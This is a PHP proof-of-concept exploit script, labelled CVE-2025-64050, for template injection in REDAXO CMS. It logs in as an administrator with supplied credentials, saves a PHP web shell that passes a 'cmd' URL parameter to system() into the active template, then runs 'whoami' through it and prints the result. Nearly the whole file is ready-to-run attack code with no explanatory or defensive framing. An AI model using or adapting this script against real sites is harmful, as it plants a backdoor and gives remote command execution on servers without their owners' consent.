<?php
// CVE-2025-64050 PoC - REDAXO CMS Template Injection RCE
// Requirements: Valid administrator credentials
$target = 'http://target-site.com';
$username = 'admin';
$password = 'admin123';
// Step 1: Login to REDAXO CMS
$loginUrl = $target . '/redaxo/index.php';
$loginData = [
'login' => $username,
'password' => $password,
'form' => 'login',
'redirect' => ''
];
echo "[*] Logging in as administrator...\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $loginUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($loginData));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Inject PHP payload into active template
$templateUrl = $target . '/redaxo/index.php?page=template';
$maliciousPayload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>';
$templateData = [
'template_content' => $maliciousPayload,
'save' => '1'
];
echo "[*] Injecting malicious PHP code into template...\n";
curl_setopt($ch, CURLOPT_URL, $templateUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($templateData));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Step 3: Execute commands via injected payload
echo "[*] Executing command on target...\n";
$exploitUrl = $target . '/index.php?cmd=whoami';
curl_setopt($ch, CURLOPT_URL, $exploitUrl);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
echo "[+] Command output: " . $result . "\n";
curl_close($ch);
?>